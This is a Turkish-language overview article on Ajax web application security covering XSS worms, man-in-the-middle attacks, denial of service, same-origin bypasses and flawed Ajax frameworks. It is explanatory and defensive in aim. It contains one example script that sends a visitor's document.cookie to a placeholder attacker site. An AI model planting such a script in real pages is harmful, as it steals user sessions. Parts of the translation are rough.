Ajax’ın güvenlik içeriğine bir bakış

Ajax; daha zengin özellikli , eşzamanlı olmayan programların gelişimine, izin verir, fakat bunu yaparken de yeni saldırılara yeni olasılıklar yaratır. İlgili güvenlik konularına ve onların olası çözümlerine bakacağız.

Ajax (Asynchronous JavaScript and XML = Eşzamanlı olmayan JavaScript ve XML) 2005’de hayata geçmiştir. Bir web servisi modeli  Ajax, yeni ve büyük bir şey olarak web geliştirme işindekilere tanıtılmıştır. Bütün bunlara karşın, Ajax kusursuz değildir, bunların en başında herkes Ajax’ın ne olduğunu bilmemektedir ve olası riskler kurumsal çevrelere tam olarak anlatılamamıştır. Bu makale, Ajax’ın ne olduğunu, Ajax programlarının güvenlik içeriklerini ve bu teknolojiye karşı potansiyel saldırı vektörlerini ve olası koruma sistemlerini inceler.

İşin en basitinden Ajax, eski teknolojilerin üzerine kurulmuş fakat onların orijinal kapsamının ötesine geçmiş herhangi yeni bir şeydir. Ajax, Dinamik HTML mantığının en yeni mirasçısıdır ve özellik bakımından zengin ve pratik web programları geliştirilmesine izin verir. Bütün Ajax web programlarının en fakir seviyesinde XMLHttpRequest JavaScript nesnesini veriyi uzak bir web sunucusundan çekmek için kullanır ve be veriyi DOM (Document Object Model = Doküman Nesne Modeli) kullanan bir web sayfası için değiştirir. Şimdiye kadar, Google, Yahoo ve Microsoft, Ajax geliştirme alanında büyük oyuncular olmuşlardır, fakat sayıları artan yüksek profilli web sayfaları; eşzamanlı olmayan, kullanıcıları için özellik zengini gibi faydalar sağlamak için Ajax’a dönmektedirler.

Bütün bunlardan önce JavaScript ve tarayıcı güvenlik konularına bakmak en iyisidir. Bir Ajax programının ilk çalıştırılmasının üzerine web sunucusu PC’deki tarayıcıya bir seri JavaScript komutları yollar, bu tarayıcı daha sonra aldığı komutları çalıştırır. Açıkça, Ajax programının kullanıcısı programın yapımcılarına ayrı bir güven besler. Ajax programının JavaScript kodu, çalıştırılabilir mobil koddur ve muhtemel güvelik riskleri içerir. Tipik olarak, tarayıcı satıcıları bu JavaScript kodunun bir kum kutu içinde çalıştırılması gibi dikenli bir konu ile ilgilenirler. Buna ek olarak, JavaScript güvenlik modeli farklı domainlerden birbirleriyle etkileşim içinde olan (ve DOM’u etkileyen) scriptleri korur.

Geleneksel web programları ve bunların Ajax karşıtları arasında, Cross Side Scripting (XSS), genel ve sıkça tahmin edilemeyen bir problem olarak kalır, bu problem potansiyel saldırgana geniş bir saldırı alanı sağlar. Ajax saldırganlara hem yeni ve zengin bir potansiyel açığı olan programlar sağlar hem de çok güçlü exploit metotları sunar. Geleneksel bir web programında saldırganlar tarihsel olarak dikkatlerini tarayıcılar üzerine bir bekleme durumunda odaklamak zorunda kalmışlardır ve bu birçok örneğinde programın gerektiği gibi sessiz davranmadığı konusunda görsel ipuçları sunmuştur.

Eş zamanlı olmayan davranışların tanıtılmasıyla beraber, şüpheli kod, kullanıcıya yansıtılmayan ipuçları olmaksızın XSS’in bir sonucu olarak sessizce ve el altından bütün zararlı aktiviteleri gerçekleştiriyor olabilir. Son zamanlardaki bunun örnekleri JS.Spavehero solucanının ve yakın zamanda Yahoo’nun giriş onaylama rutinlerini ve kod filtrelerini exploit eden JS.Yamanner solucanının davranışlarını içerir. Bu iki gerçek dünya saldırılarının geniş çaplı zararına rağmen saldırganların XSS gibi bir geleneksel ve iyi bilinen vektör üzerine odaklanmaları bir gerçektir. Ajax programının uygulamasının ortaya çıkması kimseye “Web 2.0” teknolojisi seçmemesi yönünde ilgilendirmemelidir.

MySpace solucanının kullandığı saldırı vektörü XMLHTTPRequests’ini bir yayılma mekanizması olarak kullanmıştır ve bir ısrarcı XSS saldırısı olarak tanımlanabilir. Nispeten iyi huylu olan bu solucan, XMLHTTPRequests kullanan JavaScript kodunu GET ve POST isteklerini arkada ne olup bittiğinden habersiz ve hedeflenmeyen kullanıcılı bir uygun sunucu çalıştırmak için kullanmıştır. Bütün bunların bir sonucu onların, uygun kontakların listesine yeni bir arkadaş eklemesidir. Israrcı (veya tip 2) XSS saldırısında, bir şüpheli saldırgan programın kullanılabilirliğini kendine karşı kullanır. En basit seviyesinde, eğer bir program XSS’e karşı açıklara sahipse, saldırganlar kendi saldırı vektörlerini sunucu üzerinde depolamayı ve onu uygun kullanıcılara karşı kullanmayı seçebilirler. Örneğin; mesaj atmak için session ID’sine ve authentication’a gerek duyan eski bir mesajlaşma sistemini ele alalım. Eğer session ID’si client taraflı cookie şekilde saklanıyorsa ve program XSS’e göre açıksa, bir saldırgan uygun ve kullanıcıyı kendi şüpheli sitelerine yönlendiren JavaScript kodunu depolayabilir.

<script>

document.location.replace(

“http://www.attackersite.example/steal.php ”

+ “what=” + document.cookie)

</script>

Israrlı XSS, web programlarının daha çok eşzamanlı olmayan ve özellik bakımından zengin ortamlara karışmasından dolayı potansiyel olarak tehlikeli ve ciddi bir sorundur. Geliştirmenler, ciddiyetle geçmişte olan tehditleri göz önünde bulundurmalılardır. Bu saldırı vektörlerinin çözümü basittir ve geliştirenlerin XMLHTTPRequest nesnesinin fonksiyonelliğinin temeline daha çok hesaba almalarıdır.

MITM: Saldırıların Kissinger’i

Bir  Ajax uygulaması tarafından iletilen verilerin çoğu  Sade metin içerisindeki http üzerinde bulunduğu için, Ajax uygulamaları orta (MITM) saldırılar içerisindeki potansiyel şahıslara açıktır.

MITM saldırılarının büyük oranda varsayımdan ibaret olduğu yaygın bir yanlış anlamadır, ama SSL uygulaması yapmadan bir Ajax uygulamasını hedef almak isteyen bir saldırgan için mevcut birkaç ilgili saldırı vektörleri(ve araçları) vardırMITM saldırıları bir network seviyesinde yaygın olmasına rağmen, web uygulamalarına (Ajax ya da değil) karşı bir saldırı vektörü olarak da sıklıkla kullanılmaktalar. Tipik bir MITM saldırısında, saldırıyı yapacak kişi mevcut web uygulamasının mantıklı(yasal) bir kopyasını yapar, kullanıcıları buna yönlendirir, taleplerini sunucuya tuzak olarak kurar, bir kopyasını depolar, ve sonra da mantıklı(yasal)uygulamaya yeniden yönlendirilir. Açıkçası, bu en popüler biçimde phising saldırılarında uygulanan bir saldırı vektörüdür ve phisher lar son zamanlarda çok anlatılan iki faktörlü kimlik denetimini bypass edecek benzer teknikler kullanmışlardır.

Bir Ajax uygulaması olarak geliştirilmiş bir alış-veriş portalını göz önünde bulundurun Geleneksel bir web uygulamasında olduğu gibi, saldırıyı düzenleyenler uygulamanın bir kopyasını kurabilir(ya da daha spesifik olarak ödeme seçenekleri),sonra da kullanıcıları bunu kullanmaları için oyuna getirir ve banka/ödeme ayrıntıları ile ayrılırlar.  Ajax uygulamalarının asenkronize doğası sağolsun, aynı zamanda Ajax verilerinin kaynağını spoof etmek ve yasal uygulama bileşenlerini daha şüphe dolu ve yapmacık maksatlarla değiştirmek mümkün olabilir.

Bununla birlikte, geleneksel web uygulamalarında olduğu gibi, bir Ajax uygulaması aracılığı ile gönderilen HTTP talep ve yanıtları SSL içerisine sarılabilir.  MITM saldırılarına[7] karşı hiçbir şekilde kusursuz bir çözüm olmamasına rağmen, bu bir uygulamanın güvenlik duruşunu arttırmak için basit bir mekanizmadır. Hatırlanmalıdır ki SSL kullanan uygulamalara karşı kullanmak için başarılı saldırı vektörleri geliştirmeye çok fazla enerji odaklanmıştır ve gelişigüzel yapılan bir internet araştırması bile açığa çıkarmıştır ki araştırmacılar ve kara şapkalılar benzer biçimde emeklerini boşa harcamamışlardır. Gerçekten de birkaç yıl önce SSL 2.0 bir MITM hotsu saldırılarına karşı savunmasız bulunmuştur. Bu nedenle SSL göz önünde bulundurulduğunda, hesaba katılacak en az güvenlik SSL 3.0 kriptografi ve TLS 1.0 kurmaktır.

İdeal olarak bir uygulamadan bir Ajax client’a servis edilen dinamik kod tabanının kısıtlayıcı erişimi olmalıdır. Ajax yalnızca http aracılığı ile iletişime izin verme ile sınırlı olduğu için, ve güvenli HTTPyi tanıtmak bireysel veri işlemlerini sınırlamaya yardımcı olabilecek olmasına rağmen, belirli bir URL ye kimin ya da neyin çağrı yapabileceğini belirlemek için kullanılan bir mekanizma gibi uygulanamaz.  Her nasılsa, XMLHTTP talep nesnesi granularite sağlamakta ve geliştiriciler ideal olarak ya HTTP oturumunu sağlayan http talepleini filitre etmeyi ya da kötü niyetli erişim çabalarını önlemek için şifrelenmiş http başlıklarını çalıştırmayı göz önünde bulundurmalıdırlar.

Yeni uygulamalar, eski hilelerAjax temeli var olan standartlara dayanan bir yapı olduğundan ve uygulamaları konvansiyonel web geliştirme teknikleri etrafında temellendiğinden, Ajax uygulamalarının aynı zamanda diğer bütün web uygulamaları ile paylaşılan güvenlik konuları vardır.

Göz önünde bulundurulması gereken bir güvenlik konusu, eğer bir Ajax uygulama rutini zayıf dizayn edilmiş ya da uygulanmışsa, uygulama sunucusuna karşı başarılı bir DoS saldırısı yapmak için kullanılma potansiyeli vardır. Mevcut bir çok web uygulaması ve sunucu belirli bir zaman dilimi içerisinde belirli sayıda eylem gerçekleştiren belli sayıda kullanıcıya uyarlanmıştır. Sayesinde uygulama geliştiricilerinin Ajax’ın asenkronize doğasını sarmaladığı ve kullanıcı seçme gidisi üzerine temellendirilmiş otomatik doldurulması gereken bir forma izin verdiği bir senaryo düşünün. Client ya da Server üzerinde önbellek verisi yerine, küçük bir Ajax kontrolü veritabanını direkt olarak tarar. Bu, açıkça yapılan talepleri artırır ve sunucunun(ve/ya da oturum) kaldıramayabileceği bir sürücü yüklenmesi potansiyeline sahiptir. Eğer uygun bakım yapılmazsa, uygulamalar bir saldırganın offline’ı zorlaması için karşılaştırmalı olarak önemsiz olabilir ve söylentide olduğu gibi, Ajax kendi kendisine karşı kullanılabilir.

Ajax ile ilgili bir büyük konu, saldırgana artırılmış bir saldırı alanı vermeye gücü olmasıdır. Geliştiriciler uygulamanın desteğinde sınırlı işlevsellik gösteren sunucu taraflı sayfalar uygulamayı seçebilirler. Bu sunucu taraflı sayfalar yasal olarak gerçekleştirebilecekleri eylemlerde yasaklanacak olmalarına karşın, saldırı yapacak birine artırılmış bir saldırı alanı sağlayabilirler ve uygulamanın geri kalanı gibi dikkatlice güvenlik altına alınmaları gerekecektir.Bir başka kaygı alanı da hatalarla başaçıkmadır. Geleneksel bir çok web uygulamasında bu gözden kaçırılan bir alandır ve bir sonraki muhteşem uygulamayı yaratmak için acele edilirken hatalarla başaçıkma zaman bakımından baskı altında olan gelişim takımları tarafından epey ihmal edilmiş olabilir. Hatalarla doğru şekilde başa çıkma bu makalenin konusu değil, ancak Ajax geliştirme takımları, bu kesinlikle dikkat çekecek bir saldırı vektörü olduğu için bir uygulamanın hata vermesi için titizlikle çalışmalı.

Ne dilediğinize dikkat edinAjax güvenliği tarafından yapılan bir iddia, phishing ve MITM saldırılarından gelen tehditlerin XMLHTTPRtalep nesnesinin uygulanması ile büyük ölçüde azaltıldığıdır. Geleneksel JavaScriptin tersine XMLHTTPRequest  nesnesinin  çapraz domain, çapraz port ya da çapraz protokol talepleri yapmasına  izin verilmemiştir. Bu gelişigüzel saldırıları sınırlandırmasına rağmen, aynı zamanda çapraz site uygulamalarının gelişiminde zorluklar çıkarabilir. XMLHTTPRequest nesnesinin kullanımı ve aynı orijinal güvenlik politikası kısıtlamaları tarafından ortaya çıkan zorluklar için birkaç potansiyel çözüm vardır.Harici bir domain kaynagindan bilgi arayip bulma isteklerinde XMLHTTP Request nesnesi tarafindan belirlenen sinirlandirilmalari bertaraf  etmedeki en basit mekanizma, ayni domainde host edilen URL yi cagirmaktir ancak bloke edilmis harici domainden istenilen bilgiyi ayristirmak icin scrpting dilinden faydalanilir.Obur mekanizma istege bagli java script kullanir.Gelistiriciler Capraz domain script kullanarak kolay bir sekilde dis muhteviyata ulasirlar.Ancak bu teknigin kullanimi uygulanan diger herhangi bir scriptten daha az gozealinabilir derecede risksiz degildir , boylece ana sayfadaki scriptlerin ayni baskinligi ile potansiyel guvenlik vakalari kayda degerdir.En iyisi capraz domain scriptlerinden kacinmaktir.Cabalayan gelistirmeciler icin tek mekanizmalar bunlar degildir tabiki ve fransiz yazilim muhendisi JC zaten her iki Greasemonkey scriptleri ve Flash programlarini kullanarak XMLHTTP Request nesnelerinin sinirlarini asabilmek icin kaydadeger bir zaman ayirmistir.XMLHTTP Request nesnelerinin saglamliklarinin asan sadece gelistirmeciler degildir , saldirganlar bundan faydalanmak icin bircok sayida yol bulmuslardir.Opera ve Mozillada olan bir cok hata halk tarafindan kapatilmistir.Tarayici guvenlik mekanizmasi gelistiricilere harici domain kaynaklarina XMLHTTP Request nesneleri kullanarak istekte bulunmalarina izin vermeyebilir ( yukarda tartistigimiz bypass mekanizmalarindan birini kullanmadigi takdirde) ama bu azimli saldirgani durdurmayabilir.Farzedin sizin sitenizde sub-domain var (ornek www.bankam.com hesaplar.bankam.com sub-domainine sahip)Eger sub-domain ( veya en ust seviye domanin URL de olabilir) script enjeksiyonuna karsi zayifsa saldirgan XMLHTTP Request nesnelerini domain etrafinda pervasizca sicratabilir ve oradaki kontrollerin gecerliligin ne olduguna gore bilgilere uygunsuz ulasim saglayabilir.   Saldirganlarin XMLHTTP Request nesnelerinindeki guvenlik aciklarini her ne kadar zaten dusunmediklerine inanacak derecede kuskulu isenizde Darknet makalesini hizli bir goz atmanizda her acidan fayda vardir.

FramedAjax gelismeye yonelik yapilanmasiyla kendini ortaya koydugundan beri bir cok sayida Ajaxla ilgili sistem ve aractakimi ortaya cikmistir.Bu tip sistemlerin ve aractakimlarinin cikislari ivme kazandi ve hala bir dusme egilimi gostermemektir.Acikca ortadadirki bu sistemleri kullanarak gelistirilen herhangi bir uygulamada guvenlik acigini kalitimsal olarak tasiyacaktir ve bu saldirganlar ve guvenlik uzmanlari icin oldukca cekici yerini  koruyacaktirBunun sebebi bu kadar basittir ; kotu niyetli saldirganlar, populer olarak yayginlasmis aractakimlari ve sistemlere basarili saldirilar siklikla, potansiyel olarak benzer ozellikleri barindiran yuzlerce sayfayi indirmede yararli olacaktirHangi sistemin veya aractakiminin kullnilacagi guvenlik acisindan onemli bir karardir Sistem cevrelerinin cogunlugu olarak ve aractakimlari henuz genelde kendini ispatlamamislardir ( cogu zaten deneme surumudur) ve guvenlik uygulamalarindaki islevselligi arastirilmamis bir degiskendir,risk yonetimi islemleri secimlerinde mutlaka onemli bir rol oynayacaktir.Oldukca cok sayidaki Ajax sistem ve aractakimlari konusunda sinirli sayida mesrulugu kabul edilmis arastirma yapilmasina ragmen,burasi tamamen kisir bir alan degildir.Gecen sene, bircoklarina gore digerlerinden daha meshur olan Ajax aractakimi CPAINT hakkinda bazi sorunlar bulunmusturZaafiyetler capraz site scriptinden kotu niyetli kodlari calistirabilecek yetersiz fonksiyon guvenligine kadar degisik cesitlilik gostermektedirArastirmaci Thor larholm tarafindan bulunan en kritik acikta saldirgan kotu niyetli kodu calistirmak icin onceden tanimli bir fonksiyonda gecerli bir isim edinmesine bile ihtiyac duymamaktadirBu yilin baslarinda Ajax sistemi Pajax ta bircok sayida acik bulunmustur En cok sozu edilen CPAINT teki aciklarla birlikte yetersiz input temizligi ve gecerlilige yol acan heryerde saldirgan kolayca zararli kodlari calistirabilir.Hizli gelisen Ajax uygulamalari araciligi ile Pajax kulllanan arastirmacilar icin hala daha kaygilandiricisi, bu yilin mayisinda potansiyel olarak yuzlerce Web 2.0 uygulamalarini gecirgen hale getiren metasploit modulu ortaya cikarilmistir

Igitur qui desiderat pacem, praeparet bellum(“Therefore, he who desires peace, let him prepare for war”)

Bu nedenle barisi isteyenler savasa hep hazir olsunlar

XSS ve MITM gibi saldiri tasiyicilari genelde son kullanicilara yonelik Web 2.0 uygulamalaridirAncak, bu makalede diger yerlerdede sozunu ettigimiz zayif sistemlerde servere yapilacak saldirinin tamamen yapilamaz olmadigini anlamina gelmemektedir.Ajax uyguamalarinin sunucu elementi guvenli olmayan bir kullanicidan input alir ve bu input filtre edilip degerlendirilmez ise saldirgan kendi kodlarini sistemem enjekte edbilir ve kodlarini sunucuda calistirabilir.Kurnaz saldirganlar henuz tamamen sunucu bazli tasiyicilara atlamiyorlar ama klasik uzaktan kod dahil etme sorunlarini PHP yaziliminda register_globals=on orneginde oldugu gibi ,ileriki arastirmalar icin ilerde verimli bir alan olabilecegini ispatlamistir.Ajax uygulamalarinin yayilma guvenligini tayin etmek icin ne kadar cabalasakta oldukca sinirli sayida Ajaxa yonelik test araclari suan elimizde mevcuttur.Bu araclarinda bircogu belirli kaynak yoksunlugundan yakinmaktadir.Sprajax (http://www.denimgroup.com/sprajax.html) ornegin, sadece SQL server 2005 databasine birlesim fonksiyonu vardir. Cenzic gibi saticilar kendi otomatik acik bulma yontemlerine guvenerek piyasada oldukca Ajaxi destekleyen uygulamalar hakkinda cok cesaretli iddialarda bulunmaktadirlar.OWASP ( acik internet uygulamalari projesi) Ajax uygulamalarinin guvenligi konusunda pratik metodlar ve katilimci degerlendirmesine yonelik uygulamalarla yardimci olmaktadir.Bu gerceklesene kadar Ajax uygulamalarinin acik ve hata bulmalarinda suanda varolan arac ve metodlarda biraz sikinti yasayacaklari malesef uzucu bir meseledir.Arastirma ve gelistirme arac ve resmi metodlarin azligina ragmen varolan uygulamalarda guvenlik yatirimlar ve gelistirme takimlarinin olusturulmasi varolan tehlikelere karsi gozden kacirilmamalidir.Herhangi uygulamanin gelistirilmesinde guvenlik gelistirme asamalarinda mutlaka onemli bri rol oynamalidir.Eger Ajax ongorulenlerin hepsini dogrularsa bu beyinler onu hakektigi yere getirmek icin gereken cabayida vereceklerdir.Artik bu gorevi sonuna kadar kovalamak profesyonel guvenlikcilere ve  deneyimli gelistirmecilere dusmektedir.